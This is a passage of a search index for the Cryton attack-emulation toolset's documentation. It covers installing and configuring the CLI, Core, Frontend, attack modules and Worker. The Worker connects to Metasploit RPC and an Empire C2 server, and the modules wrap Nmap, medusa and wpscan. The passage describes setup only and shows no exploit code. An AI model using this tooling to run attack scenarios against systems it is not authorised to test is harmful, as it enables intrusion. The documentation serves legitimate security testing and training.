[ARGS]...\n\n A CLI wrapper for Cryton API.\n\nOptions:\n ...\n</code></pre></p> <p>To learn about each command's options use: <pre><code>cryton-cli <your command> --help\n</code></pre></p> How to change the default API host/port? <p>To change the default API host/port use -H and -p options. <pre><code>cryton-cli -H 127.0.0.1 -p 8000 <your command>\n</code></pre></p>"},{"location":"components/cli/#shell-completion","title":"Shell completion","text":"<p>Shell completion is available for the Bash, Zsh, and Fish shell and has to be manually enabled.</p> <ul> <li>To enable the shell completion, the tool must be present</li> <li>The shell completion is enabled in Docker by default</li> </ul> <p>First, make sure the app directory exists:</p> BashZsh <pre><code>mkdir -p ~/.local/cryton-cli/\n</code></pre> <pre><code>mkdir -p ~/.local/cryton-cli/\n</code></pre> <p>Generate, save, and load the completion script:</p> BashZshFish <pre><code>_CRYTON_CLI_COMPLETE=bash_source cryton-cli > ~/.local/cryton-cli/cryton-cli-complete.bash\necho \". ~/.local/cryton-cli/cryton-cli-complete.bash\" >> ~/.bashrc\n</code></pre> <pre><code>_CRYTON_CLI_COMPLETE=zsh_source cryton-cli > ~/.local/cryton-cli/cryton-cli-complete.zsh\necho \". ~/.local/cryton-cli/cryton-cli-complete.zsh\" >> ~/.zshrc\n</code></pre> <pre><code>_CRYTON_CLI_COMPLETE=fish_source cryton-cli > ~/.config/fish/completions/cryton-cli-complete.fish\n</code></pre> <p>You may need to restart your shell for the changes to take effect.</p>"},{"location":"components/core/","title":"Core","text":""},{"location":"components/core/#description","title":"Description","text":"<p>Cryton Core is the center point of the Cryton toolset. It is used for:</p> <ul> <li>Creating, planning, and scheduling attack scenarios</li> <li>Generating reports</li> <li>Controlling Workers and scenarios execution</li> </ul> <p>Link to the repository.</p>"},{"location":"components/core/#settings","title":"Settings","text":"<p>Cryton Core uses environment variables for its settings. Please update them to your needs.</p>"},{"location":"components/core/#overriding-settings","title":"Overriding settings","text":"<p>To override the settings, use the <code>export</code> command: <pre><code>export CRYTON_CORE_RABBIT_USERNAME=cryton\n</code></pre></p> <p>Use <code>unset</code> to remove a variable.</p> <p>Some settings can be overridden using the CLI. Try using: <pre><code>cryton-core help <your command>\n</code></pre></p> Overriding settings permanently <p></p> <p>First, make sure the app directory exists: <pre><code>mkdir -p ~/.local/cryton-core/\n</code></pre></p> <p>Download the default settings into the app directory:</p> curlwget <pre><code>curl -o ~/.local/cryton-core/.env https://gitlab.ics.muni.cz/cryton/cryton-core/-/raw/stable/2023.1/.env\n</code></pre> <pre><code>wget -O ~/.local/cryton-core/.env https://gitlab.ics.muni.cz/cryton/cryton-core/-/raw/stable/2023.1/.env\n</code></pre> <p>Open the file and update it to your needs.</p> Overriding settings with Docker <p></p> <p>To override a variable use the <code>-e</code> or the <code>--env-file</code> option: <pre><code>docker run -e CRYTON_CORE_RABBIT_USERNAME=cryton --env-file relative/path/to/.env ...\n</code></pre></p> <p>More information can be found here.</p> Overriding settings with Docker compose <p></p> <p>Override variables in the <code>environment</code> or the <code>env_file</code> attribute: <pre><code>services\n service:\n environment:\n - CRYTON_CORE_RABBIT_USERNAME=cryton\n env_file:\n - relative/path/to/.env\n</code></pre></p> <p>More information can be found here.</p>"},{"location":"components/core/#available-settings","title":"Available settings","text":""},{"location":"components/core/#cryton_core_rabbit_host","title":"CRYTON_CORE_RABBIT_HOST","text":"<p>RabbitMQ server host.</p> value default example string 127.0.0.1 cryton-rabbit"},{"location":"components/core/#cryton_core_rabbit_port","title":"CRYTON_CORE_RABBIT_PORT","text":"<p>RabbitMQ server port.</p> value default example int 5672 15672"},{"location":"components/core/#cryton_core_rabbit_username","title":"CRYTON_CORE_RABBIT_USERNAME","text":"<p>Username for RabbitMQ server login.</p> value default example string cryton admin"},{"location":"components/core/#cryton_core_rabbit_password","title":"CRYTON_CORE_RABBIT_PASSWORD","text":"<p>Password for RabbitMQ server login.</p> value default example string cryton mypass"},{"location":"components/core/#cryton_core_db_host","title":"CRYTON_CORE_DB_HOST","text":"<p>Postgres server host.</p> value default example string 127.0.0.1 cryton-pgbouncer"},{"location":"components/core/#cryton_core_db_port","title":"CRYTON_CORE_DB_PORT","text":"<p>Postgres server port.</p> value default example int 5432 15432"},{"location":"components/core/#cryton_core_db_name","title":"CRYTON_CORE_DB_NAME","text":"<p>Used Postgres database name. (do not change, if you don't know what you're doing)</p> value default example string cryton cryton_db"},{"location":"components/core/#cryton_core_db_username","title":"CRYTON_CORE_DB_USERNAME","text":"<p>Username for Postgres server login.</p> value default example string cryton user"},{"location":"components/core/#cryton_core_db_password","title":"CRYTON_CORE_DB_PASSWORD","text":"<p>Password for Postgres server login.</p> value default example string cryton passwd"},{"location":"components/core/#cryton_core_q_attack_response","title":"CRYTON_CORE_Q_ATTACK_RESPONSE","text":"<p>Queue name for processing attack responses. (do not change, if you don't know what you're doing)</p> value default example string cryton_core.attack.response cryton_core.attack.response.id"},{"location":"components/core/#cryton_core_q_agent_response","title":"CRYTON_CORE_Q_AGENT_RESPONSE","text":"<p>Queue name for processing agent responses. (do not change, if you don't know what you're doing)</p> value default example string cryton_core.agent.response cryton_core.agent.response.id"},{"location":"components/core/#cryton_core_q_event_response","title":"CRYTON_CORE_Q_EVENT_RESPONSE","text":"<p>Queue name for processing event responses. (do not change, if you don't know what you're doing)</p> value default example string cryton_core.event.response cryton_core.event.response.id"},{"location":"components/core/#cryton_core_q_control_request","title":"CRYTON_CORE_Q_CONTROL_REQUEST","text":"<p>Queue name for processing control requests. (do not change, if you don't know what you're doing)</p> value default example string cryton_core.control.request cryton_core.control.request.id"},{"location":"components/core/#cryton_core_debug","title":"CRYTON_CORE_DEBUG","text":"<p>Make Core run with debug output.</p> value default example boolean false true"},{"location":"components/core/#cryton_core_default_rpc_timeout","title":"CRYTON_CORE_DEFAULT_RPC_TIMEOUT","text":"<p>Timeout (in seconds) for RabbitMQ RPC requests.</p> value default example int 120 200"},{"location":"components/core/#cryton_core_api_secret_key","title":"CRYTON_CORE_API_SECRET_KEY","text":"<p>Key (64 chars) used by REST API for cryptographic signing. More information can be found here.</p> value default example string cryton XF37..56 chars..6HB3"},{"location":"components/core/#cryton_core_api_allowed_hosts","title":"CRYTON_CORE_API_ALLOWED_HOSTS","text":"<p>Domain names that the site can serve. (do not change, if you don't know what you're doing) More information can be found here.</p> value default example list of strings separated by space * host host2"},{"location":"components/core/#cryton_core_api_static_root","title":"CRYTON_CORE_API_STATIC_ROOT","text":"<p>Directory for storing static files. (do not change, if you don't know what you're doing) More information can be found here.</p> value default example string /usr/local/apache2/web/static/ /var/www/example.com/static/"},{"location":"components/core/#cryton_core_api_use_static_files","title":"CRYTON_CORE_API_USE_STATIC_FILES","text":"<p>Whether to serve static files or not. (do not change, if you don't know what you're doing)</p> value default example boolean false true"},{"location":"components/core/#cryton_core_cpu_cores","title":"CRYTON_CORE_CPU_CORES","text":"<p>The maximum number of CPU cores (processes) Cryton Core can utilize. (do not change, if you don't know what you're doing) This affects the speed of starting/consuming Steps/Rabbit requests. Set the value to <code>auto</code> for the best CPU utilization.</p> value default example int 3 2"},{"location":"components/core/#cryton_core_execution_threads_per_process","title":"CRYTON_CORE_EXECUTION_THREADS_PER_PROCESS","text":"<p>How some payloads or Rabbit's channel consumers should be distributed. (do not change, if you don't know what you're doing) This affects the speed of starting/consuming Steps/Rabbit requests.</p> value default example int 7 5"},{"location":"components/core/#cryton_core_app_directory","title":"CRYTON_CORE_APP_DIRECTORY","text":"<p>Path to the Cryton Core directory. (do not change, if you don't know what you're doing)</p> value default example string ~/.local/cryton-core/ /path/to/app/ <p>The default value in Docker is set to <code>/app</code>.</p>"},{"location":"components/core/#prerequisites","title":"Prerequisites","text":"<p>Cryton Core requires the following technologies to run properly:</p> <ul> <li>PostgreSQL database</li> <li>RabbitMQ server</li> <li>PgBouncer</li> </ul> <p>To make the installation process smoother the prerequisites are bundled within the Docker Compose installation.</p> Want to use pipx or Docker, but don't want to install and set up the prerequisites on your own? <p>Requirements</p> <ul> <li>Docker Compose</li> <li>Create permanent settings</li> </ul> <p>Recommendations</p> <ul> <li>Docker Post-installation steps</li> </ul> <p>Switch to the app directory: <pre><code>cd ~/.local/cryton-core/\n</code></pre></p> <p>Download the Compose configuration:</p> curlwget <pre><code>curl -O https://gitlab.ics.muni.cz/cryton/cryton-core/-/raw/stable/2023.1/docker-compose.prerequisites.yml\n</code></pre> <pre><code>wget https://gitlab.ics.muni.cz/cryton/cryton-core/-/raw/stable/2023.1/docker-compose.prerequisites.yml\n</code></pre> <p>Run the Compose configuration: <pre><code>docker compose -f docker-compose.prerequisites.yml up -d\n</code></pre></p>"},{"location":"components/core/#installation","title":"Installation","text":""},{"location":"components/core/#with-docker-compose","title":"With Docker Compose","text":"<p>The easiest way to install Cryton Core (and its prerequisites) is to use the example Docker Compose configuration.</p> <p>Requirements</p> <ul> <li>Docker Compose</li> <li>Create permanent settings</li> <li>Update the following settings:<ol> <li>CRYTON_CORE_RABBIT_HOST=cryton-rabbit</li> <li>CRYTON_CORE_DB_HOST=cryton-pgbouncer</li> <li>CRYTON_CORE_API_USE_STATIC_FILES=true</li> </ol> </li> </ul> <p>Recommendations</p> <ul> <li>Docker Post-installation steps</li> <li>Override the settings</li> </ul> <p>First, switch to the app directory: <pre><code>cd ~/.local/cryton-core/\n</code></pre></p> <p>Download the Compose configuration:</p> curlwget <pre><code>curl -O https://gitlab.ics.muni.cz/cryton/cryton-core/-/raw/stable/2023.1/docker-compose.yml\n</code></pre> <pre><code>wget https://gitlab.ics.muni.cz/cryton/cryton-core/-/raw/stable/2023.1/docker-compose.yml\n</code></pre> <p>Run the Compose configuration: <pre><code>docker compose up -d\n</code></pre></p> What should the output look like? <pre><code>[+] Running 6/6\n \u283f Network cryton-core_default Created\n \u283f Container cryton-rabbit Healthy\n \u283f Container cryton-db Healthy\n \u283f Container cryton-pgbouncer Healthy\n \u283f Container cryton-core Started\n \u283f Container cryton-proxy Started\n</code></pre> <p>Check if the installation was successful and the app is running with curl: <pre><code>curl localhost:8000/api/\n</code></pre></p> What should the output look like? <pre><code>{\"runs\":\"http://localhost:8000/cryton/api/v1/runs/\",\"plans\":\"http://localhost:8000/cryton/api/v1/plans/\",\n\"plan_executions\":\"http://localhost:8000/cryton/api/v1/plan_executions/\",\"stages\":\"http://localhost:8000/cryton/api/v1/stages/\",\n\"stage_executions\":\"http://localhost:8000/cryton/api/v1/stage_executions/\",\"steps\":\"http://localhost:8000/cryton/api/v1/steps/\",\n\"step_executions\":\"http://localhost:8000/cryton/api/v1/step_executions/\",\"workers\":\"http://localhost:8000/cryton/api/v1/workers/\"}\n</code></pre>"},{"location":"components/core/#with-pipx","title":"With pipx","text":"<p>Cryton Core is available in the PyPI and can be installed using pip. However, we highly recommend installing the app in an isolated environment using pipx.</p> <p>Requirements</p> <ul> <li>Python >=3.8,<3.12</li> <li>pipx</li> </ul> <p>Recommendations</p> <ul> <li>Override the settings</li> </ul> <p>Install the app:</p> pipxpip <pre><code>pipx install cryton-core==2023.1\n</code></pre> <pre><code>pip install --user cryton-core==2023.1\n</code></pre>"},{"location":"components/core/#with-docker","title":"With Docker","text":"<p>Cryton Core is available as a Docker image and can be installed using Docker.</p> <p>Requirements</p> <ul> <li>Docker</li> </ul> <p>Recommendations</p> <ul> <li>Docker Post-installation steps</li> <li>Override the settings</li> <li>If you're using persistent settings, switch to the app directory and pass the settings</li> </ul> <p>Run the container: <pre><code>docker run -d registry.gitlab.ics.muni.cz:443/cryton/cryton-core:2023.1\n</code></pre></p> <p>Limitations</p> <p>The easiest way to make the container accessible from the outside and to allow the container to access the prerequisites is to use the <code>--network host</code> option: <pre><code>docker run --network host -d registry.gitlab.ics.muni.cz:443/cryton/cryton-core:2023.1\n</code></pre></p>"},{"location":"components/core/#usage","title":"Usage","text":"<p>If you're using Docker (Compose) to install the app, you don't need to migrate the database or start the services mentioned in this section.</p> <p>Use the following to invoke the app: <pre><code>cryton-core\n</code></pre></p> <p>You should see a help page: <pre><code>Type 'cryton-core help <subcommand>' for help on a specific subcommand.\n\nAvailable subcommands:\n...\n</code></pre></p> <p>To learn about each command's options use: <pre><code>cryton-core help <your command>\n</code></pre></p> <p>Before we do anything, we need to migrate the database: <pre><code>cryton-core migrate\n</code></pre></p> <p>To be able to use Cryton Core, we need to start the REST API and RabbitMQ listener. We can do both using: <pre><code>cryton-core start\n</code></pre></p> How to change the default API host/port? <p>To change the default API host/port use the --bind option. <pre><code>cryton-core start --bind <address>:<port>\n</code></pre></p>"},{"location":"components/core/#rest-api-and-control","title":"REST API and control","text":"<p>REST API is the only way to communicate with Cryton Core. It is by default running at http://0.0.0.0:8000. Interactive documentation can be found at http://0.0.0.0:8000/doc.</p> <p>To be able to control Cryton Core, you have to send requests to its REST API. This can be done manually, or via Cryton CLI or Cryton Frontend.</p>"},{"location":"components/core/#troubleshooting","title":"Troubleshooting","text":"Unable to load the interactive REST API? <p>If you're not using a reverse proxy, set <code>CRYTON_CORE_API_USE_STATIC_FILES=false</code>.</p>"},{"location":"components/frontend/","title":"Frontend","text":""},{"location":"components/frontend/#description","title":"Description","text":"<p>Cryton Frontend is a graphical interface used to interact with Cryton Core (its API).</p> <p>Link to the repository.</p>"},{"location":"components/frontend/#settings","title":"Settings","text":"<p>Cryton Frontend uses environment variables for its settings. Please update them to your needs.</p> <p>Notice</p> <p>For now, settings can be changed only for the npm installation. However, it is possible to update the API host and port at runtime at http://localhost:8080/app/user/settings.</p> <p>Variables can be found in <code>src/environments/</code>. For production modify the environment.prod.ts file, else modify the environment.ts file.</p>"},{"location":"components/frontend/#crytonrestapihost","title":"crytonRESTApiHost","text":"<p>Cryton Core's API address.</p> value default example string 127.0.0.1 cryton-core.host"},{"location":"components/frontend/#crytonrestapiport","title":"crytonRESTApiPort","text":"<p>Cryton Core's API port.</p> value default example int 8000 8008"},{"location":"components/frontend/#refreshdelay","title":"refreshDelay","text":"<p>Sets artificial delay in milliseconds for refresh API requests.</p> What is this for? <p>Users usually react better if the requests don't happen instantly, but they can see a tiny bit of loading. Initial API request doesn't use delay, this is only for refreshing data</p> value default example int 300 500"},{"location":"components/frontend/#usehttps","title":"useHttps","text":"<p>Use SSL to connect to REST API.</p> value default example boolean false true"},{"location":"components/frontend/#installation","title":"Installation","text":""},{"location":"components/frontend/#with-docker","title":"With Docker","text":"<p>Cryton Frontend is available as a Docker image and can be installed using Docker.</p> <p>Requirements</p> <ul> <li>Docker</li> </ul> <p>Recommendations</p> <ul> <li>Post-installation steps</li> </ul> <p>Run the front end in the background: <pre><code>docker run -d -p 127.0.0.1:8080:80 registry.gitlab.ics.muni.cz:443/cryton/cryton-frontend:2023.1\n</code></pre></p>"},{"location":"components/frontend/#with-docker-compose","title":"With Docker Compose","text":"<p>Example Docker Compose configuration is also available. </p> <p>Requirements</p> <ul> <li>Docker Compose</li> </ul> <p>Recommendations</p> <ul> <li>Post-installation steps</li> </ul> Create a new directory <pre><code>mkdir cryton-frontend\ncd cryton-frontend\n</code></pre> <p>Download the configuration using:</p> curlwget <pre><code>curl -O https://gitlab.ics.muni.cz/cryton/cryton-frontend/-/raw/stable/2023.1/docker-compose.yml\n</code></pre> <pre><code>wget https://gitlab.ics.muni.cz/cryton/cryton-frontend/-/raw/stable/2023.1/docker-compose.yml\n</code></pre> <p>Run the Compose configuration: <pre><code>docker compose up -d\n</code></pre></p>"},{"location":"components/frontend/#with-npm","title":"With npm","text":"<p>Even though the front end can be installed using npm, it is not recommended.</p> <p>Requirements</p> <ul> <li>npm</li> </ul> <p>Recommendations</p> <ul> <li>Override the settings</li> </ul> <p>Clone the repository: <pre><code>git clone https://gitlab.ics.muni.cz/cryton/cryton-frontend.git\ncd cryton-frontend\n</code></pre></p> <p>Install the dependencies: <pre><code>npm install\n</code></pre></p> <p>Serve the app:</p> TestingProduction <pre><code>ng serve --port 8080\n</code></pre> <pre><code>ng serve --prod --port 8080\n</code></pre> <p>Use <code>ng serve</code> only for development/testing. In a real production environment use either Docker (compose) installation or a production build deployed on a production-ready web server (for example Nginx).</p> Build the app <p>You can find the build in the /dist folder.</p> TestingProduction <pre><code>npm run build\n</code></pre> <pre><code>npm run build-prod\n</code></pre>"},{"location":"components/frontend/#usage","title":"Usage","text":"<p>By default, the Frontend is served at http://localhost:8080/.</p> <p>Use the in-app help pages to learn about usage.</p>"},{"location":"components/modules/","title":"Modules","text":""},{"location":"components/modules/#description","title":"Description","text":"<p>Cryton (attack) modules are a collection of Python scripts with the goal of orchestrating known offensive security tools (Nmap, Metasploit, medusa, etc.). Although this is their intended purpose, they are still Python scripts, and therefore any custom-made script can be used similarly.</p> <p>Do not forget that the modules can be used for other purposes other than attacking.</p> <p>Link to the repository.</p>"},{"location":"components/modules/#installation","title":"Installation","text":"<p>Modules are automatically installed on Worker's start-up, you just need to download and move them to the Worker's app directory.</p> <p>The system requirements for each module have to be installed manually as specified in each module's README here.</p> <p>However, if you're using Worker's Kali image the requirements are already satisfied for the official modules. If the Worker is deployed on a fully-fledged Kali OS, the need to install the system requirements SHOULD be also gone. Neither the less, you should check if they're satisfied.</p>"},{"location":"components/modules/#with-git","title":"With git","text":"<p>Requirements</p> <ul> <li>Git</li> </ul> <p>Clone the repository and checkout the correct version: <pre><code>git clone https://gitlab.ics.muni.cz/cryton/cryton-modules.git\ncd cryton-modules\ngit checkout stable/2023.1\n</code></pre></p> <p>Make sure the Worker's app directory exists and copy the modules into it: <pre><code>mkdir -p ~/.local/cryton-worker/\ncp -r modules ~/.local/cryton-worker/\n</code></pre></p>"},{"location":"components/modules/#manually","title":"Manually","text":"<p>Go to the repository and download it:</p> <p></p> <p>Finally, extract the <code>modules</code> directory from the archive to Worker's app directory (<code>~/.local/cryton-worker/</code>).</p>"},{"location":"components/modules/#usage","title":"Usage","text":"<p>Modules are primarily targeted for use with Cryton Worker. Once the Worker receives an execution request, it imports a module, runs it with the supplied arguments, and saves its output.</p> <p>Even though the modules are Python scripts and can be installed and executed manually, some of them use the Worker's prebuilt functionality, which means you have to run them in the same virtual environment as Cryton Worker.</p>"},{"location":"components/modules/#available-modules","title":"Available modules","text":"<p>Here is a curated list of modules. Please see each module's readme for more information.</p> <ul> <li>mod_cmd</li> <li>mod_script</li> <li>mod_medusa</li> <li>mod_msf</li> <li>mod_nmap</li> <li>mod_wpscan</li> </ul>"},{"location":"components/worker/","title":"Worker","text":""},{"location":"components/worker/#description","title":"Description","text":"<p>Cryton Worker is used for executing attack modules remotely. It consumes messages from Cryton Core through the RabbitMQ.</p> <p>Link to the repository.</p>"},{"location":"components/worker/#settings","title":"Settings","text":"<p>Cryton Worker uses environment variables for its settings. Please update them to your needs.</p>"},{"location":"components/worker/#overriding-settings","title":"Overriding settings","text":"<p>To override the settings, use the <code>export</code> command: <pre><code>export CRYTON_WORKER_NAME=name\n</code></pre></p> <p>Use <code>unset</code> to remove a variable.</p> <p>Some settings can be overridden using the CLI. Try using: <pre><code>cryton-worker start --help\n</code></pre></p> Overriding settings permanently <p></p> <p>First, make sure the app directory exists: <pre><code>mkdir -p ~/.local/cryton-worker/\n</code></pre></p> <p>Download the default settings into the app directory:</p> curlwget <pre><code>curl -o ~/.local/cryton-worker/.env https://gitlab.ics.muni.cz/cryton/cryton-worker/-/raw/stable/2023.1/.env\n</code></pre> <pre><code>wget -O ~/.local/cryton-worker/.env https://gitlab.ics.muni.cz/cryton/cryton-worker/-/raw/stable/2023.1/.env\n</code></pre> <p>Open the file and update it to your needs.</p> Overriding settings with Docker <p></p> <p>To override a variable use the <code>-e</code> or the <code>--env-file</code> option: <pre><code>docker run -e CRYTON_WORKER_NAME=name --env-file relative/path/to/.env ...\n</code></pre></p> <p>More information can be found here.</p> Overriding settings with Docker compose <p></p> <p>Override variables in the <code>environment</code> or the <code>env_file</code> attribute: <pre><code>services\n service:\n environment:\n - CRYTON_WORKER_NAME=name\n env_file:\n - relative/path/to/.env\n</code></pre></p> <p>More information can be found here.</p>"},{"location":"components/worker/#available-settings","title":"Available settings","text":""},{"location":"components/worker/#cryton_worker_name","title":"CRYTON_WORKER_NAME","text":"<p>Unique name used to identify the Worker.</p> value default example string worker my_worker"},{"location":"components/worker/#cryton_worker_modules_dir","title":"CRYTON_WORKER_MODULES_DIR","text":"<p>Path to the directory containing the modules.</p> value default example string /path/to/cryton-modules/modules/ /opt/cryton-modules/modules/"},{"location":"components/worker/#cryton_worker_debug","title":"CRYTON_WORKER_DEBUG","text":"<p>Make Worker run in debug mode.</p> value default example boolean false true"},{"location":"components/worker/#cryton_worker_install_requirements","title":"CRYTON_WORKER_INSTALL_REQUIREMENTS","text":"<p>Install requirements.txt for each module on startup.</p> value default example boolean true false"},{"location":"components/worker/#cryton_worker_consumer_count","title":"CRYTON_WORKER_CONSUMER_COUNT","text":"<p>The number of consumers used for Rabbit communication (more equals faster request processing and heavier processor usage).</p> value default example int 7 3"},{"location":"components/worker/#cryton_worker_processor_count","title":"CRYTON_WORKER_PROCESSOR_COUNT","text":"<p>The number of processors used for internal requests (more equals faster internal requests processing, but heavier processor usage).</p> value default example int 7 3"},{"location":"components/worker/#cryton_worker_max_retries","title":"CRYTON_WORKER_MAX_RETRIES","text":"<p>How many times to try to re-connect to RabbitMQ when the connection is lost.</p> value default example int 3 5"},{"location":"components/worker/#cryton_worker_msfrpcd_host","title":"CRYTON_WORKER_MSFRPCD_HOST","text":"<p>Metasploit Framework RPC host.</p> value default example str 127.0.0.1 msfrpc.host"},{"location":"components/worker/#cryton_worker_msfrpcd_port","title":"CRYTON_WORKER_MSFRPCD_PORT","text":"<p>Metasploit Framework RPC port.</p> value default example int 55553 55554"},{"location":"components/worker/#cryton_worker_msfrpcd_ssl","title":"CRYTON_WORKER_MSFRPCD_SSL","text":"<p>Use SSL to connect to Metasploit Framework RPC.</p> value default example boolean true false"},{"location":"components/worker/#cryton_worker_msfrpcd_username","title":"CRYTON_WORKER_MSFRPCD_USERNAME","text":"<p>Username for Metasploit Framework RPC login.</p> value default example string cryton msf"},{"location":"components/worker/#cryton_worker_msfrpcd_password","title":"CRYTON_WORKER_MSFRPCD_PASSWORD","text":"<p>Password for Metasploit Framework RPC login.</p> value default example string cryton toor"},{"location":"components/worker/#cryton_worker_rabbit_host","title":"CRYTON_WORKER_RABBIT_HOST","text":"<p>RabbitMQ server host.</p> value default example string 127.0.0.1 rabbit.host"},{"location":"components/worker/#cryton_worker_rabbit_port","title":"CRYTON_WORKER_RABBIT_PORT","text":"<p>RabbitMQ server port.</p> value default example int 5672 15672"},{"location":"components/worker/#cryton_worker_rabbit_username","title":"CRYTON_WORKER_RABBIT_USERNAME","text":"<p>Username for RabbitMQ server login.</p> value default example string cryton admin"},{"location":"components/worker/#cryton_worker_rabbit_password","title":"CRYTON_WORKER_RABBIT_PASSWORD","text":"<p>Password for RabbitMQ server login.</p> value default example string cryton mypass"},{"location":"components/worker/#cryton_worker_empire_host","title":"CRYTON_WORKER_EMPIRE_HOST","text":"<p>Empire server host.</p> value default example string 127.0.0.1 empire.host"},{"location":"components/worker/#cryton_worker_empire_port","title":"CRYTON_WORKER_EMPIRE_PORT","text":"<p>Empire server port.</p> value default example int 1337 11337"},{"location":"components/worker/#cryton_worker_empire_username","title":"CRYTON_WORKER_EMPIRE_USERNAME","text":"<p>Username for Empire server login.</p> value default example string cryton empireadmin"},{"location":"components/worker/#cryton_worker_empire_password","title":"CRYTON_WORKER_EMPIRE_PASSWORD","text":"<p>Password for Empire server login.</p> value default example string cryton password123"},{"location":"components/worker/#cryton_worker_app_directory","title":"CRYTON_WORKER_APP_DIRECTORY","text":"<p>Path to the Cryton Worker directory. (do not change, if you don't know what you're doing)</p> value default example string ~/.local/cryton-worker/ /path/to/app/ <p>The default value in Docker is set to <code>/app</code>.</p>"},{"location":"components/worker/#prerequisites","title":"Prerequisites","text":"<p>Cryton Worker requires the following technologies to run properly:</p> <ul> <li>Metasploit Framework</li> <li>Empire C2</li> </ul> <p>To make the installation process smoother the prerequisites are bundled within the Docker Compose installation.</p>"},{"location":"components/worker/#installation","title":"Installation","text":""},{"location":"components/worker/#with-docker-compose","title":"With Docker Compose","text":"<p>The easiest way to install Cryton Worker (and its prerequisites) is to use the example Docker Compose configuration.</p> <p>Requirements</p> <ul> <li>Docker Compose</li> <li>Install the modules</li> <li>Create permanent settings</li> <li>Update the following settings:<ol> <li>CRYTON_WORKER_MODULES_DIR=/absolute/path/to/modules/</li> </ol> </li> </ul> <p>Recommendations</p> <ul> <li>Docker Post-installation steps</li> <li>Override the settings</li> </ul> <p>First, switch to the app directory: <pre><code>cd ~/.local/cryton-worker/\n</code></pre></p> <p>Install the modules into the app directory and export the path: <pre><code>export CRYTON_WORKER_MODULES_DIR=~/.local/cryton-worker/modules/\n</code></pre></p> <p>Make sure that the persistent settings match</p> <p>Check the real value of the variable using: <pre><code>export | grep CRYTON_WORKER_MODULES_DIR\n</code></pre></p> <p>Download the configuration using:</p> curlwget <pre><code>curl -O https://gitlab.ics.muni.cz/cryton/cryton-worker/-/raw/stable/2023.1/docker-compose.yml\n</code></pre> <pre><code>wget https://gitlab.ics.muni.cz/cryton/cryton-worker/-/raw/stable/2023.1/docker-compose.yml\n</code></pre> <p>Run the Compose configuration: <pre><code>docker compose up -d\n</code></pre></p> What should the output look like? <pre><code>[+] Running 6/6\n \u283f Network cryton-worker_default Created\n \u283f Container cryton-worker Started\n \u283f Container cryton-empire Started\n</code></pre> <p>Everything should be set. Check if the installation was successful and the Worker is running: <pre><code>docker compose cryton_worker logs\n</code></pre> You should see <code>[*] Waiting for messages.</code> in the output.</p>"},{"location":"components/worker/#with-pipx","title":"With pipx","text":"<p>Cryton Worker is available in the PyPI and can be installed using pip. However, we highly recommend installing the app in an isolated environment using pipx.</p> <p>Requirements</p> <ul> <li>Python >=3.8,<3.12</li> <li>pipx</li> </ul> <p>Recommendations</p> <ul> <li>Override the settings</li> <li>Enable shell completion</li> </ul> <p>Install the modules into the app directory and export the path: <pre><code>export CRYTON_WORKER_MODULES_DIR=~/.local/cryton-worker/modules/\n</code></pre></p> <p>Make sure that the persistent settings match</p> <p>Check the real value of the variable using: <pre><code>export | grep CRYTON_WORKER_MODULES_DIR\n</code></pre></p> <p>Install the app:</p> pipxpip <pre><code>pipx install cryton-worker==2023.1\n</code></pre> <pre><code>pip install --user cryton-worker==2023.1\n</code></pre>"},{"location":"components/worker/#with-docker","title":"With Docker","text":"<p>Cryton Worker is available as a Docker image and can be installed using Docker.</p> <p>Requirements</p> <ul> <li>Docker</li> </ul> <p>Recommendations</p> <ul> <li>Docker Post-installation steps</li> <li>Override the settings</li> <li>If you're using persistent settings, switch to the app directory and pass the settings</li> </ul> <p>Install the modules into the app directory and export the path: <pre><code>export CRYTON_WORKER_MODULES_DIR=~/.local/cryton-worker/modules/\n</code></pre></p> <p>Make sure that the persistent settings match</p> <p>Check the real value of the variable using: <pre><code>export | grep CRYTON_WORKER_MODULES_DIR\n</code></pre></p> <p>Run the container:</p> bare versionkali version <p>The bare image doesn't take care of the modules' system requirements. It should be used on a Kali OS.</p> <p>The following command ensures effortless deployment. It mounts the modules and shares the host's networking namespace. <pre><code>docker run --network host -e CRYTON_WORKER_MODULES_DIR=${CRYTON_WORKER_MODULES_DIR} -v ${CRYTON_WORKER_MODULES_DIR}:${CRYTON_WORKER_MODULES_DIR} -d registry.gitlab.ics.muni.cz:443/cryton/cryton-worker:2023.1\n</code></pre></p> <p>Limitations</p> <ul> <li>The easiest way to make the container accessible from the outside and to allow the container to access the prerequisites is to use the <code>--network host</code> option</li> <li>Since the image doesn't contain the tools or the Metasploit Framework, you need to set up and mount them on your own</li> </ul> <p>The kali image takes care of the modules' system requirements and also hosts the Metasploit Framework. However, the drawback is its large size.</p> <p>The following command ensures effortless deployment. It mounts the modules and shares the host's networking namespace. <pre><code>docker run --network host -e CRYTON_WORKER_MODULES_DIR=${CRYTON_WORKER_MODULES_DIR} -v ${CRYTON_WORKER_MODULES_DIR}:${CRYTON_WORKER_MODULES_DIR} -d registry.gitlab.ics.muni.cz:443/cryton/cryton-worker:kali-2023.1\n</code></pre></p> <p>Limitations</p> <ul> <li>The easiest way to make the container accessible from the outside and to allow the container to access the prerequisites is to use the <code>--network host</code> option</li> </ul>"},{"location":"components/worker/#usage","title":"Usage","text":"<p>If you're using Docker (Compose) to install the app, you can ignore this section.</p> <p>Use the following to invoke the app: <pre><code>cryton-worker\n</code></pre></p> <p>You should see a help page: <pre><code>Usage: cryton-worker [OPTIONS] COMMAND [ARGS]...\n\n Cryton Worker CLI.\n\nOptions:\n ...\n</code></pre></p> <p>To learn about each command's options use: <pre><code>cryton-worker <your command> --help\n</code></pre></p> <p>To start Worker use <code>cryton-worker start</code> and you should see something like: <pre><code>Starting Worker worker..\nTo exit press CTRL+C\nConnection does not exist. Retrying..\nConnection to RabbitMQ server established.\n[*] Waiting for messages.\n</code></pre></p> Want to run the Worker in the background? <p>Use the <code>nohup</code> command: <pre><code>nohup cryton-worker start > /tmp/worker_std_out 2>&1 &\n</code></pre></p> <p>To stop the Worker, find their processes and kill them: <pre><code>ps -aux | grep cryton-worker\nkill <PID> <PID>\n</code></pre></p>"},{"location":"components/worker/#shell-completion","title":"Shell completion","text":"<p>Shell completion is available for the Bash, Zsh, and Fish shell and has to be manually enabled.</p> <ul> <li>To enable the shell completion, the tool must be present</li> <li>The shell completion is enabled in Docker by default</li> </ul> <p>First, make sure the app directory exists:</p> BashZsh <pre><code>mkdir -p ~/.local/cryton-worker/\n</code></pre> <pre><code>mkdir -p ~/.local/cryton-worker/\n</code></pre> <p>Generate, save, and load the completion script:</p> BashZshFish <pre><code>_CRYTON_WORKER_COMPLETE=bash_source cryton-worker > ~/.local/cryton-worker/cryton-worker-complete.bash\necho \". 